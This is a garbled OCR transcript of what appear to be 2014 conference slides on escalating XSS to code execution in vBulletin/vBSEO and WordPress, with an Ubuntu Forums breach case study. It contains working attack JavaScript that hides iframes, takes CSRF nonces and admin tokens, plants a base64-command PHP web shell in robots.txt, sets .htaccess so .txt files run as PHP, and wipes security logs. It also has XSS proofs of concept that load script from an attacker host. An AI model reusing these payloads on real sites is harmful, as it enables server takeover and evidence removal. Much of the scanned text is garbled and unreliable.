M ame

LT Tupe

| Folder

J usertitle. php
J uzertoolz. php

T FHPFie
T PHPFie

CA]zershlocalusersDocumentshResearch =55 HITBWwB ilesbackup'warswwwhadmincp
C:AzershlocalusersDocumentshResearch =55 HITBWwB \llesbackup'warswwwhadmincp

I L T

J adminfunctions. php

i IR PR P 1 L 1

phvarswriadmincp
T PHPFile

phvarswsincludes
I o 1 T | |

= —

J adminfunctions_template. php
J adminfunctions_user.php
] blag_plugin_useradmin.php

1 rlazs_stlevar nhn

PHP File
FHP File
PHF File
PHF File

— = = =

phvarasincludes
phvarutincludes
C:A]zershlocaluzertsDocumentshResearch =SS HITBWB ilesbackup'warswwahincludes
C:A]zershlocalusersDocumentshResearch =55 HITBWwB ilesbackup'warswwwhincludes
C:AzershlocalusersDocumentshResearch =55 HITBWwBhlesbackup'warswwwhincludes
CoAllsrrshdnmalisetNncnmentsh B rsrarcb S S HI TRARMlRshark unbwartwiwianclides

m

4| 1

0091a: ¥

00922

00919:
00920:
00921:

* @param
* @param
* @param

1 * @param
00923:
00924
00925:

* @param
* @param
* @param

string Title for row

string Mame for input field

string Value far input field

boolean Whether or not to htmilspecialchars the input field value
integer Size for input field

integer Max length for input field

string Text direction for input field —

o099z ¥/

00928: function print_input_row(stitle, $name, $value = ", $htmlise = true, %$=size = 35, $maxlength = 0, $direction ="'

00929: {

|‘|

D0931:
00932;
00933:
00934:
00935: {
00936:
00937: }
00938:
00939: {
00940:
00941: }
009432;
00943;
00944:
00945;

A e

sdirection
if($inputid
gid = "it_'

elze

$id = $inputid;

print_labe
stitle,

"ediv id=\"ctrl_$name\"><input type=\"text\" class=\""

(L -

[ —

= verify_text_direction($direction);
===falze)

. $name . "_'. fetch_unigueid_counter();

|_row(

. iif{inputclass, $inputclass, 'bginput’) . "V" name=\"$name\" id=Y"$id\" value=\"" . iif($htmlise, ht .
| b
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@ Windows Grep 2.3 _ !

File Edit Search ¥iew Options Window Help

=2EE Y gV b BB [ hETD R ?
‘print_input_row' in *.php: 518 matches in 68 files, 1150 files searched. 0 files skipped. adminfunctions.php (Whole file)
Mame | 7] Type | Folder [E
J usertitle. php T PHF File CA]zershlocalusersDocumentshResearch =55 HITBWwB ilesbackup'warswwwhadmincp
J uzertoolz. php T PHF File C:AzershlocalusersDocumentshResearch =55 HITBWwB \llesbackup'warswwwhadmincp
— G phvarsaaadmincp

_ | adminfunctions. php T PHF File  jevertinues

phvarasincludes

1 1 i R o Lims L: 1 I o | I | phvarvrthincludes

J adminfunctions_template. php T PHF File C:A]zershlocaluzertsDocumentshResearch =SS HITBWB ilesbackup'warswwahincludes |é |
J adminfunctions_user.php T PHF File CA]sershlocalusersDocuments\Research =55 HITB B \filesbackupivarswwwhincludes
] blag_plugin_useradmin.php T PHF File C: '\U sers\localuser\DDcuments'\Hesearch'\XSSHITB‘WB'~.f|IeShackup'war\www'\lncludes =

OUSZ 1T~ Wpararmt Srmg valge Tof Mo TEm
00922: * @param boolean Whether or not to htmlspecialchars the input field value
00925; * Bparam integer Size for input field

E0aralm STFTY W aToeE TOT IMPOL TTET
00922 * {@param boolean Whether or not to htmlspecialchars the input field value
00923: * @param integer Size for input field
00924: * @param integer Max length for input field
00925: * @param string Text direction for input field —

oo9zZ7: *;
00928: function print_input_row(stitle, $name, $value = ", $htmlise = true, %$=size = 35, $maxlength = 0, $direction =
00929: {

Ll

00931:

00932; sdirection = venfy_text_direction($direction);

00933:

00934: if($inputid===false)

00935 {

00936: sid = "it_' . $name . "_' . fetch_uniqueid_counter();

00937: }

00938: else

00939: {

00940: $id = $inputid;

00941: }

00942

00943: print_label_row(

D0944: stitle,

00945: "=div id= \"l:trl _sname\"=<input type=\"text\" class=\"" . iif{$inputclass, $inputclass, 'bginput’) . "\" name=\"$name\" id=\"$id\" value=\"" . iif($htmlise, ht
3
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Case Study - vBSEO I

@ Windows Grep 2.3 EE
File Edit 5earch Miew Options Window Help
FEHE Y%Y P wBR RPN M@ ? |
‘Spback(t_title]' in *.php: 4 matches in 2 files. 1150 files searched. 0 files skipped. vhseo_moderate.php (Whole file)
| b ame | T | Tune | Enlder | Matehe | Size I
_I TS TIPS T. .. T T TTT T = T ST AT T A T T AT T I AT T - T T T T TIT TR ﬁ?u-ﬁ
_]wvhseo_mader.. T PHP File C:\Uzershlocaluzer\Docurnents\Research S SHITBYwBErr
' m | 3

00221: {il':ElUt t§|:le="butt01n" value="r. $vbphrase['aelete'] . '"‘DI‘IC|iC|'C="jS_FChECI'C_EI.”_DDtiDPI;IJ(thiS.fDrm, -1};" class="button" title="" . $vbphrase['delete'] . " /=" : " *
00222; &nbsp;
00223: <input type="button" value="". $vbphrase['ignare'] . " onclick="js_check_all_option(this.form, 0);" class="button" title="" . $vbphrase['ignore'] . " /=
00224: ', 0, 2, 'thead', 'center');
00225: slinkbacks_no++;
00226: $pback['t_title'] = htmlspecialchars($pback['t_title'], ENT_QUOTES);
00227: if{$linkbacks_no=1)
00228: print_description_row('<span class="smallfont">&nbsp;</span=', 0, 2, 'thead');
007229 print label rowl'ehe'  tyhphracelnneted bha'l tefh' ‘ez heaf="" htmpmlantitiecftnbacll't cre g1 " tarpet="" blank\"-dpharllt cre rlle 52"

™= j— — T -+ ™ L p—— | T T T = T T e il

. ' ' ' ' ' ' ' . ' [ .

00232: print_label_row('=b=". $vbphrase['date'] . '«</b=', date('Y-m-d H:1:5",$pback|
00233: print_input_row($vbphrase[ 'title'], "pingtitle[$pback(t_id]]", spback[t_title]| 0,

00234: print_textarea_row($vbphrase['message'], "pingtext[$pback[t_id]]", htmlentit

NAO328y mrint laskhal roscf ESvrbhnbreseasl ' setimn'l "

00237: =label for=\"del_spback[t_id]\"=<input type=Y"radio\" name=\"pingaction[$pback[t_id]]\" value=\"-1\" id=\"del_s$pback[t_id]\" tabindex=\"1\" /=" . $vbpt
00238: =label for=\"ign_$pback[t_id]\"==input type=Y"radio\" name=\"pingaction[$pback[t_id]]\" value=\"0Y" id=\"ign_$pback[t_id]\" tabindex=%"1\" checked=\"1
00239; ", ", 'top', 'postaction’);

00240: }

00241: if ('$linkbacks_no)

00242; {

00243: print_description_row($vbphrase['vbseo_no_linkbacks _awaiting_moderation']);

00244: print_table_footer();

00245: }

00246: elze I

e']))
700;
spbach

00247: {

Nn248: nrint descrintion rnwl’Th:Fn naner{&total. 'naner'). falze. 9. " 'center'l:




Case Study - vBSEO I

File

Edit Search View Tools Options Language Buffers Help

1 vbseo_moderate.php |

214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248

249
250

i { -
if (vbseo_can_moderation_linkback{D, $pback{'forumid']))
continue;
if{1&linkbacks_na)
print_description_row('
<input type="button" value="' . gvbphrase['vbseo_wvalidate'] . " onclick="js_check_all_option{this.form, 1);" class="button" title=""' . $vbphr:
" . {{can_moderate('candeleteposts') OR can_moderate('canremoveposts')) ? '&nbsp;

<input type="button" value="" . gvbphrase['delete'] . " onclick="js_check_all_option({this.form, -1);" class="button" title="" . gvbphrase['del¢
&nbsp;
<input type="button" value="' . gvbphrase['ignore'] . " onclick="js_check_all_option(this.form, 0);" class="button" title="" . $vbphrase['ignor

', 0, 2, 'thead', 'center');
Slinkbacks _no++;
gpback{'t_title'] = htmispecialchars(gpback['t_title'], ENT_QUOTES);
if{%linkbacks_no=1)
print_description_row('<span class="smallfont"=&nbsp; </spanz', 0, 2, 'thead");
print_label_row('<b=' . $vbphrase['posted_by'] . "</b>', '«a href="_htmlentities($pback('t_src_url'])."\" target=\"_blank\"=%pback[t_src_url]- —
print_label_row('<b=>' . $vbphrase['vbseo_for'] . '</b>', "<a href="".htmlentities{fpback{'t_dest_url'])."\" target=\"_blank\"=gpback[t_dest_ur
print_label_row('<b=' . gvbphrase['vbseo_type'l . '</b= "', $vbphrase['vbseo_".({$pback{'t_type'l==2)?"reftback':($pbackl't_type'l?'trackback
print_label_row('<b=' . $vbphrase['date'] . '</b>', date("Y-m-d H:i:s',Epback['t_time']));
brint_input_row{s;'vbphrase['title'], "pingtitle[ $pback[t_id]]", $pback{t_tite], 0, 70);
print_textarea_row({$vbphrase['message'], "pingtext[£pback[t_id]]", htmlentities($pback[t_text]), &, 70);
print_label_row({gvbphrase['action'], "
<label for=\"val_gpback[t_id]\"><input type=\"radio\" name=\"pingaction[$pback[t_id]]\" value=\"1\" id=\"val_gpback{t_id]\" tabindex=\"1\"
<label for=\"del_gpback{t_id]\"=<input type=\"radio\" name=\"pingaction[$pback[t_id]]\" value=\"-1\" id=\"del_gpback[t_id]\" tabindex=\"1}
<label for=\"ign_gpback{t_id]\"><input type=\"radio\" name=\"pingaction[$pback[t_id]]\" value=\"0\" id=\"ign_gpback[t_id]\" tabindex=\"1}"
", ", 'top', 'postaction');
}
if (1&linkbacks_no)

=1
print_description_row{$vbphrase['vbseo_no_linkbacks_awaiting_moderation']);
print_table_footer();
}
glse

=1
print_description_row{vbseo_pager{&total, 'pager’), false, 9, ", 'center’);
print_submit_row();
= -

m |

|

UL 4
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File

Edit Search View Tools Options Language Buffers Help

1 vbseo_moderate.php |

214
215
216
217
218
219
220
il 221
222
223
224
225
226
227
228
229
| 230

i { -
if (vbseo_can_moderation_linkback{D, $pback{'forumid']))
continue;
if{1&linkbacks_na)
print_description_row('
<input type="button" value="' . gvbphrase['vbseo_wvalidate'] . " onclick="js_check_all_option{this.form, 1);" class="button" title=""' . $vbphr:
" . {{can_moderate('candeleteposts') OR can_moderate('canremoveposts')) ? '&nbsp;

<input type="button" value="" . gvbphrase['delete'] . " onclick="js_check_all_option({this.form, -1);" class="button" title="" . gvbphrase['del¢
&nbsp;
<input type="button" value="' . gvbphrase['ignore'] . " onclick="js_check_all_option(this.form, 0);" class="button" title="" . $vbphrase['ignor

; 0, 2, 'thead', 'center’);

Slinkbacks _no++;

gpback{'t_title'] = htmispecialchars(gpback['t_title'], ENT_QUOTES);

if{%linkbacks_no=1)

print_description_row('<span class="smallfont"=&nbsp; </spanz', 0, 2, 'thead");

print_label_row('<b=' . $vbphrase['posted_by'] . '</b>', '«<a href=".htmlentities{$pback{'t_src_ur'1}."\" target=\"_blank\"=$pback(t_src_url]-
print_label row({'<b='. $vbphrase['vbseo for'] . '</b=', '<a href="".htmlentities{$pback['t dest url'])."\" target=\"_blank\"=$pback[t dest wur

m |

print_label_row('<b>=" . $vbphrase['date’] . "</b=', date(™-m-d H:i:s'" . $pback{'t time']));
print_input_row($vbphrase['title’], "pingtitle[$pback[t_id]1]", $pback{t_title] .‘:Z};
print_textarea_ rnw{$vbﬁhraﬁe['message']; "pingtext[spback{t_id]]", htmlentTies($pback
nnt label row(Svhpohrasel'acton’l,

238
239
240
241
242
243
244
245
246
247
248

249
250

<label for=\"ign_ Spback[t |d]'\":=::|nput type \"radlo\" name=\"pingaction[$pback{t_id]1\" value \"D\" id \"lgn Spback[t id]\" tabindex= \”1\"
", ", 'top', 'postaction');
}
if (1&linkbacks_no)
-
print_description_row{$vbphrase['vbseo_no_linkbacks_awaiting_moderation']);
print_table_footer();
¥
glse
1
print_description_row{vbseo_pager{&total, 'pager’), false, 9, ", 'center’);
print_submit_row();
= -

< |

UL 4




Case Study - vBSEO I

What is a LinkBack? (i.e. RefBack)
Wikipedia:

“A linkback is a method for Web authors to obtain notifications
when other authors link to one of their documents. This enables
authors to keep track of who is linking to, or referring to, their
articles. The three methods (Retback, Trackback, and Pingback)
differ in how they accomplish this task.”

Source: http://en.wikipedia.org/wiki/Linkback



http://en.wikipedia.org/wiki/Linkback

Case Study - vBSEO I

Notification medium:
HTTP “Referer” header sent by the client’s browser.

Action required when notfification is received:
* Extract "referer” value from incoming HTTP headers

* Retrieve referring page
* Parse retrieved page for desired information

Injection Vector:
« Title (<title>XSS¢/title>) is not safely encoded

Source: http://en.wikipedia.org/wiki/Linkback



http://en.wikipedia.org/wiki/Linkback

Case Study - vBSEO I

Proof of Concept: (Served from attacker.tld/poc.html)

<html>

<head”

title> [XSS String] </title>

¢/head>

<body>

<a href="http://vbulletin-installation-with-vbseo.tld/O1-some-
forum-thread.html>Click Me¢/a>

¢/body>
</htm)>

Source: http://www.exploit-db.com/exploits/16076



http://www.exploit-db.com/exploits/16076
http://www.exploit-db.com/exploits/16076
http://www.exploit-db.com/exploits/16076
http://www.exploit-db.com/exploits/16076

Case Study - vBSEO I

Sitemap

Vulnerability Details:
* File: /vbseo_sitemap/index.php

* Variables: Sdl[useragent] and $ GET[bo’rsonIy]
» Affected Feature: Displaying bot statistics

Vulnerability Patch:

htmlentities(S_GET['botsonly’], ENT_QUOTES, “UTF-8”);
htmlentities(Sdl['useragent’], ENT_QUOTES, “UTF-8);

Source: http://www.exploit-db.com/exploits/16077/



http://www.exploit-db.com/exploits/16077/
http://www.exploit-db.com/exploits/16077/
http://www.exploit-db.com/exploits/16077/
http://www.exploit-db.com/exploits/16077/

Case Study - vBSEO I

Proof of Concept:
http://www.target.fld/vbseo_sitemap/index.php?dlist=true&botsonl

y=<script src="//attacker.tld/xss.js"></script>

Source: http://www.exploit-db.com/exploits/16077/



http://www.exploit-db.com/exploits/16077/
http://www.exploit-db.com/exploits/16077/
http://www.exploit-db.com/exploits/16077/
http://www.exploit-db.com/exploits/16077/

Writing a Payload
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Admin Functions

e Core features
* Plugins

Code Execution

* Direct

* Injection
- Themes
- Plugins
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Javadcript

document.write(): // ? No.

document.appendChild(); // ? Yes.

Security Features

Cross-Site Request Forgery (C-Surf / CSRF)
* WordPress = 10736

 vBulletin Hash = 32736

« vBulletin Token = (10710)+40"36



Writing a Payload
From Scratch
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Schrédinger's Source Code:

"Until you compile and run it, you won't know if it runs
flawlessly or ends immediately with a stack trace.’




i

b

Writing a Payload I

Yoast WordPress SEO: Edit Files < H... \ +

€ 192.168.921/hitbwp,/wp-admin,/admin.php?page=wpseo_files

&

# Dashboard

A Posts
O Media
M Pages

¥ comments
G Genesis

2 Appearance
s Plugins @
= Users

# Tools

settings

| (9 SEo

Dashboard

Title

T @ HitB Amsterdam 2014 & 4 B

<+ Mew SEO

Yoast WordPress SEQ: Edit Files

Robots.txt

Edit the content of your robots.bxt:

User-agent:

Disallow: /hitbwp/wp-admin/
Disallow: /hitbwp/wp-includes/

Save changes to Robots.txt

.htaccess file

Edit the content of your .htaccess:

Options +FollowSymlinks

RewriteEngine on

# BEGIN WordPress
<IfModule mod_rewrite.c»

RewriteEngine On

RewriteBase /hitbup/

Save changes to .htaccess

(1L}

E" Google

Howdy, admin [l

m

m
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E Eurp Suite Free Edition vi.

Burp Intruder Repeater Window Help

Target | Fron T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TNerts ]

J Inter:eptT HTTP history IWebSuckets history T Options ]

.#| Requestto hitp://192.168.92.1:80

[ Forward J [ Crop J { Intercept is on 1 Action Comment this iterm R i
IJ RawT Params T Headers T Hex ]
POST /hithwp/wp-admin/admin. php?page=wpsec _files HTTE/L.1 A
-

Host: 182.168.92.1

User-Agent: Mozilla/5.0 (Windows NT E€.1l; WOWE4; rv:I29.0) Gecko/20100101 Firefox/28.0

Aoccept: text/html,application/=html+4xml, application/xml;q=0.9,*%/*;q=0.8

Aocept-Language: en-U3,en;q=0.5

LAecept-Encoding: gzip, deflate

Beferer: http://192.168.92. 1/ hithwp/wp-adwin/admin. php?page=wpsso_files

Cookie: wordpress _Sf£45557b413 1c54feddegdlSZT28d913=admins7C14012058101%7CcBE2923 Lh7hE866 832 1BE024had5e10d;
wordpress_test _cookie=WP+Cookiesdcheck:

wordpress_logged in Sf45557b413 le54feddESdlS2728d913=admins7C1401208101%7CdeebdEe4e8177décteT2daZf0753fhed;
wp-settings-time-1=1401035395

Connection: keep-aliwve

Content-Type: application/x-www-form-urlencoded

Content-Length: 247

_wpnonce=alliasd807& wp_http referer=%IFhitbhwpiIFwvp-adwin$IFadmin. php%3Fpage%3Dvpsco_filesirobotsnew=User-agent%3A+%%0D%0
Alizallows3A+52FhithwptZFwp—adminsZF50D%0ADisallows 3 A+52FhithwpsiFwp—includess2F50D%30Assubmitrobots=5ave+changess+to+Eobot
s5.LCHT

2 = + = || 0 matches
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E Burp Suite Free Edition v1.6

Burp Intruder Repeater Window Help

Target | Prowy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TNerts l

J InterceptT HTTF history T WebSockets history T Options ]

@J Request to hitp:192.168.92.1:80

l Forward J l Drop J [ Intercept is on ] Action Conmment thizs item asl|?
J RawT Params T Headers T Hex }

FOST /hitbwp/wp-admin/admin. php?page=wpseo_files HTTP/ 1.1 '
Host: 192.18.92.1 -

User-Agent: Mozilla/S5.0 (Windows NT E€.1l; WOWE4; rv:29.0) Gecko/I20100101 Firefox/29.0

Aocept: text/html,application/xhtml+xml, application/xml;q=0.9,*%/*:q=0.8

Aocept-Lancuage: =n-US,en;q=0.5

Apcept-Encoding: gzip, deflate

Feferer: http://192.1€8.92. l/hithwp/wp-admin/admin. php ?page=wpseo_files

Cookie: wordpress 9f45557hb4131c54feddfSdlo2728d913=admin%7C1401208101%7CcB8I923 LT 8661832 186024bd5e10d;
wordpress_test cookis=WF+Cookies+check:

wordpress_logged in 9f45597h4131c54feddeSdlo2728d913=admin%7C1401208101%7CdeebdBe4es 17 7dectfe72dazf0753fhee;
wp-settings-time-1=1401035516

Connection: keep-alive

Content-Type: application/x-www—-form-urlencoded

Content-Length: 553

_wpnonce=9945h075=8& wp_http referer=%IFhitbwpiIFwp-admin%IFadmin. php%3Fpage%3Dwpsso_filescihtaccessnew=0ptions+%2EFollows
vinlink=s%0D%0AFewriteEngine+ons 005045 23 4+BEGIN+WordPress30D%0A%53CTIEModule+mod rewvrite. c%3E50D%0AFewriteEngine+0ns0D%0ARewr 1
teBase+52FhitbhwpsZF50D%0ARewriteRule+55Eindex%s5C . php%244+—-+55EL55D%0D% DARewr_iteCDnd+=sES%TBREQUEST_FILENAHE% TD+%Z21-f%0D%0AR
ewriteCond+%Z5%7EREQUEST FILEMNAMESTD+5%21-d%0D%0AFRewriteRule+. +52FhitbwpsIiFindex. php+%5BLs5D%0D%0A%3C52F IfHodules3ES0D50A%
OD%0A%Z234+END+WordPresssi0D50Assubmithtaccess=Save+changes+to+. htaccess

-7

? = = = | 0 matches
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& Source of: http://192.168.92.1/hitbwp/wp-admin/admin.php?page=wpseo_files - Mozilla Firefox

Eile Edit Miew Help

- ___ —
</ /divyr i
</div>
</Sdiv>
</div>

<div class="wrap wpsec—admin-page page-wpseo'>
<h? id="wpseo-title">Yoast WordPress 5ECQ: Edit Files</h2>
<div class="wpSeo CONTENT Wrapper">
<div class="wpseco content cell" id="wpseco content top">
<div class="metabox-holder">
<diwv

[-168.52.1/hitbwp/wp-admin/admin.php?page=wpseo fil
id=" " name=" " value="a2l13a=4507" jethod="posc"
p-admin/admin.php?page=wpseo _files"™ /><p>Edit the [IF Spe-"midoen”

nt of your robots.txro:

id="robotstxtfory
name="_wp RTTp T4
<«/pr<textarea cldwE="15" name="rckotsnew">Iscr-agent: *
Disallow: Shitbwy
Disallow: /hithbwy

</textarea><br/> ne="5ave changes to
Robots.cxc" >/ . -
ot class="button" type="submit" name="submitrobot]
W
pethod="post"
id="htacce55furm$1355="},:’CI-3.51:13'CIH":} it type="hidden"™
name=" wp RTTp T4 nt of your .htaccess:

</pr<textarea cld

RewriteEngine on[.168.92 .1/ hitbhwp/wp-admin/admin.php?page=wpseo f£il
f;ﬁfﬁﬁﬂﬂﬂﬁffﬁg- d=" " name=" " valne="9949p0T75=8" [/

RewriteEngine Onfp—admin/admin.php?page=wpseo files" /><p>Edit the ‘

m

RewriteBase /hit}
REewriteRule “index'.php$ - [L]
EewriteCond %{REQUEST_FILENEHE] -f
BewriteCond %{REQUEST_FILENBHEJ -4
RewriteRule . /fhitbwp/index.php [L]
glt;/IfModulecgt;

EL i = pp P Er = = = = =

¢ END WordPress
</textarea><br/><div class="subnit"><input class="button" type="submit" name="submithtaccess" wvaluwe="Save changes to

Fowl e K

| _wpnonce | ~ | A | Match Case *

Line 185, Col 17
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WordPress Payload Explained - Code

function main_frame_inject(cookiename,identifier,function_name,get_page) {
if (document.cookie.indexOf(cookiename) == -1) {

/] Append a (hidden) iframe for stealthy data injection

var mainframe = document.createElement(‘iframe’);
mainframe.setAttribute(id’,identifier);
top.document.body.appendChild(mainframe);
mainframe.setAttribute(onload',function_name);
mainframe.setAttribute('style’, visibility:hidden;display:none’);
mainframe.setAttribute('src’,get_page);

- 6699

<iframe id="" onload="" style=*" src=*">¢/iframe>
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WordPress Payload Explained - Code

function silent_form_inject(action,method,content,framename,identifier) {
var silent_main_tag = document.createElement(form);

/] The inner contents of our form is equal to the content variable
siIeni_main_’rag.innerHTML = ' +content;

top.document.getElementByld(framename).contentDocument.body.appendChild(sile
nt_main_tag);
silent_main_tag.setAttribute(id’identifier);
silent_main_tag.setAttribute(name’,hitbams2014);
silent_main_tag.setAttribute('action’,action);
silent_main_tag.setAttribute(method’,method);

}

€699

<form id=*" name=“hitb” action=*" method="“">...</form?>
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WordPress Payload Explained - Code

function SetCookie(cookieName,cookieContent) {
var cookiePath = /;
var expDate=new Date();
expDate.setTimelexpDate.getTime()+372800000);
var expires=expDate.toGMTString();

document.cookie=cookieName+'="+escapel(cookieContent)+";path="+escapel(cookiePat
h)+";expires="texpires;

}

Cookie: name=value
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WordPress Payload Explained - Code

function clean_up() {
document.getElementById('404s).checked=true;
document.forms[O].submit();

}




Writing a Payload I

WordPress Payload Explained - Code

Clean Database

Old Data Below is old security data stiff in your WordPress dotobase. Data is considered old when the lockout hos exgired, or been monuolly concelled,
or when the log entry will no longer be used to generote o IOCKOLT.
This data is not outomatically defeted so that it may be used for analysis. You may delete this data with the form below. To see the actual data

you will need to access your databose directiy.
Check the box next to the data you would like to dear and then press the "Remove Oid Dota”™ button. (note this will not erase entries thot may

still be used for lockouts).
[C] Your database contains 0 bad login entries.

[F] vour database contains 0 404 errors.
This will clear the 404 log below.

[l Your database contains 0 old lockouts.
[l Your database contains 0 changed file records.

=
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WordPress Payload Explained - Code

var robots_shell = «?php Sinput = base64_decode(S_GET['sostest’]); Soutput = Sinput’;
echo “pre>". Soutput ."</pre>"; ?>;

var htaccess_shell = "AddHandler application/x-httpd-php .txt";

robots.txt?sostest=bHMgLWFs

bHMgLW/Fs = Is -al
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WordPress Payload Explained - Code

/| STAGE 1 - Robots.txt

main_frame_inject('Robots_Infected",’silent_robots_frame",’silent_robots_inject()’,’ad
min.php?page=wpseo_files");

// STAGE 2 - .Htaccess

main_frame_inject("Htaccess_Infected",’silent_htaccess_frame’,’silent_htaccess_inje
ct()","admin.php?page=wpseo_files");
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WordPress Pavload Explained - Code

“ 192.168.92.1/hitbwp/wp-admin/admin.php?page=better-wp-security-logs

# HitB Amsterdam2014 <> 5 P 4+ MNew SEO

Before You Begin

Appearance

This page contains the logs generated by Better WP Security, current lockouts {which can be cleared here) and a way to cleanup tl
save space on the server and reduce CPU load. Please note, you must manually clear these logs, they will not do so automatically
Users recommend you do so regularly to improve performance which can otherwise be slowed if the system has to search through larg
a regular basis.

Plugins @&

Tools

Settings
Clean Database

SEO

- -

Old Data Below is old security data stifl in your WordPress dotabase. Data is considered ofd when the fockout hos expired, or been maor
or when the log entry will no longer be used to generote o lockout.

Security

This data is not outomatically deleted so that it may be used for anaolysis. You may delete this data with the form below. To se
you will need to access your databose directly.

Dashboard Seesicbal [t t0 the data yoi-uesics
T e robots.txt <iframe> [~ .htaccess <iframe

atabase con

S 2 { g Py Sl a1

id Dota”™ button. (note this will not erase.

atabase con
rar the 404 [

atabase con
atabase con
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WordPress Payload Explained - Code

/[ STAGE 1 - Inject into robots.txt
function silent_robots_inject() {
if (document.cookie.indexOf("Robots_Infected’) == -1) {

/] Read and save the relevant _wpnonce - Bypass CSRF protection

var robots_wpnonce =
document.getElementById('silent_robots_frame).contentDocument.getElementById(r
obotstxtform’)._wpnonce.value;

var robots_contents =
document.getElementById('silent_robots_frame).contentDocument.getElementsByTa
gName('textarea)[O].value;
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WordPress Payload Explained - Code

<div class="meta-box-sortables">
<div id="rokotstxt" class="voasthbox">
<h2>Robots.txt</h2>

<form action="http://192.168.%2.1/hitbwp/wp-admin,/admin.php? = ile:
id="robotstxtform"><input type="hidden"™ id—"_hpnunce" name="_ wpnonce" valuwes{"ZcdicZef&s" P
il =]

name=" wp http referer" valwe="/hitbwp/wp-admin/admin.php?page=wpsec files" 5] o
ifp}{textarea class="large-text code” rows="15" name="robotsnew">User- agent: *
Disallow: /hitbwp/wp-admin/

Disallow: /hitbwp/wp-includes/

«/textarear<br/>»<div class="submit"><input clazs="k
name="submitrobots" wvalue="5ave changes to Robots.oxt" /> /divs</ form> «/fdiv>
<div id="htaccess" class="voasthbox"»>

<h2>.htaccezss file</ /h2>

<form action="http:,//1%92.168.92.1/hitbwp/wp—admin/admin.php?page=wpseo file:
id="htaccessform"><input type="hidden" 1d=" wpnonce" name=" wpnonce" value="aaZiT7cb31b" F i
name=" wp http referer" valuwe="/hitbwp/wp-admin/admin.php?page=wpseo files" /><p>Edit the cx
< /pr<textarea class="large-text code" rows="15" name="htaccessnew">0ptions +FollowSymlinks
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WordPress Payload Explained - Code

/[ Inject malicious entry WPSEO Robots.txt feature

var robots_input ="\

<input type="hidden” name="_wpnonce" value="+robots_wpnonce+" />\

<input type="hidden” name="_wp_http_referer" value="%2Fhitbwp%2Fwp-
admin%2Fadmin.php%3Fpage%3Dwpseo_files" />\

<input type="hidden” name="robotsnew" value=\"+robots_contents+\r\n\
+robots_shell+\' />\

<input type="hidden” name="submitrobots" value="Save+changes*to+Robots.txt" />\

.
9
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WordPress Payload Explained - Code

<form ...>
<input type="
<input type="
<input type="
<input type="
<[form>

¢ -6 9

nidden” name="_wpnonce value=*..." />
hidden” name="_wp_http_refer” value=“...” />
hidden” name=“robotsnew value=“payload” />

¢

hidden” name=“submitrobots value=“..." />
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WordPress Payload Explained - Code

/[ Initiate the second silent injection into our iframe

silent_form_inject(admin.php?page=wpseo_files, POST ,robots_input,silent_robots_fr
ame’,robots_haxx);

/] Send our payload automatically - There's no turning back now
top.document.getElementByld('silent_robots_frame).contentDocument.getElementBy

Id(robots_haxx).submit();
SetCookie("Robots_Infected","true’); // Prevent re-infection / loops
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WordPress Payload Explained - Code
Yoast WordPress SEQ: Edit Files

Robots.txt

Edit the content of your robots.txd:

User-agent: =

Disallow: /hitbwp/wp-admin/
Disallow: /hitbwp/wp-includes/

<2php [insertpayloadhere] ?>| {{

Save changes to Robots.txt _




Bonus Case Study!
Ubuntu Forumes



Case Study - Ubuntu Forums

outout to @rootinabox.
Noneofthis"y3wgOthaxd by albani4 ¢3bir 4rmy” stuff. Straight up, you dun goofed.It'sassimpleasthat.

Defacement Source: Ars Technica (http://ars.to/15XSmt8)


http://ars.to/15XSmt8
http://ars.to/15XSmt8

Case Study - Ubuntu Forums

Analysis
» Compromised moderator account
* Unfiltered HTML allowed

* Three forum administrators contacted
* Injected PHP plugin (Global Hook)
» Uploaded more tools

. Only www-data user access
» Canonical’s analysis was flawed

Source: http://blog.canonical.com/2013/07/30/ubuntu-forums-are-back-up-and-a-post-mortem/
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Case Study - Ubuntu Forums

Attack Diagram

1. Log in with
compromised

2. Inject XSS
Payload

administrators

private messages WEE Server

4. Administrator views
XSS Payload and
executes actions on
behalf of the attacker.

Administrator

Source: http://blog.canonical.com/2013/07/30/ubuntu-forums-are-back-up-and-a-post-mortem/
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Case Study - Ubuntu Forums

XSS Payload Explained - Overview

1. Administrator
views announcement

Announcements Q@@

The forum rules are as follows:

<script src="attacker">...

Administrator

Ubun{u Forums
2. XSS Payload is Web Server
fetched from

attacker's server

3. Backdoor is
injected which
phones home to

' Aﬂécker's
Attacker Mg antacker Web Server




Case Study - Ubuntu Forums

XSS Payload Explained - Code

/] If our cookie is not present, continue
if (document.cookie.indexOf("XSS_Infected") == -1) {

/] Append a (hidden) iframe for stealthy data injection
var mainframe = document.createElement(‘iframe”);
mainframe.setAttribute(id’, 'silent_frame));
top.document.body.appendChild(mainframe);
mainframe.setAttribute(onload’, ‘main.silent_inject());
mainframe.setAttribute('src’, ‘plugin.php?do=add);




Case Study - Ubuntu Forums

XSS Payload Explained - Code

function silent_inject() {

/] Read and save the adminhash + securitytoken - Bypass the CSRF protection

varladminhash|=

top.document.getElementById('silent_frame).contentDocument.cpform.adminhash.value;

var securitytoken

top.document.getElementById(silent_frame).contentDocument.cpform.securitytoken.value;




Case Study - Ubuntu Forums

XSS Payload Explained - Code

// A hidden vBulletin plugin payload

var form_input =\

<input type="hidden” name=
<input type="hidden” name=
<input type="hidden” name=
<input type="hidden” name=
<input type="hidden” name=
<input type="hidden” name=
<input type="hidden” name=
<input type="hidden” name=
<input type="hidden” name=
<input type="hidden” name=

9

"do” value="update” />\

"adminhash’ value="1adminhash+" />\
"securitytoken” value="4securitytoken
"product” value="vbulletin® />\
"hookname” value="misc_start" />\
"title” value="injected_haxx" />\
"executionorder” value="5" />\
'‘pPhpcode” value=\'PHP_PAYLOAD\ />\
"active” value="1" />\

"pluginid” value="" />\

+ 5\




Case Study - Ubuntu Forums

XSS Payload Explained - Code

// A function which silently injects our hidden payload form
function silent_form_inject() {

var silent_main_tag = document.createElement(form);

// The inner contents of our form is equal to the content variable
silent_main_tag.innerHTML = " “form_input;

top.document.getElementByld(silent_frame’).contentDocument.body.appendChild(sil
ent_main_tag);

silent_main_tag.setAttribute(id’,’hitbams2014);
silent_main_tag.setAttribute(name’,'hitbams2014);
silent_main_tag.setAttribute(action’,plugin.php?do=update’);
silent_main_tag.setAttribute(method’,POST);

}




Case Study - Ubuntu Forums

XSS Payload Explained - Code

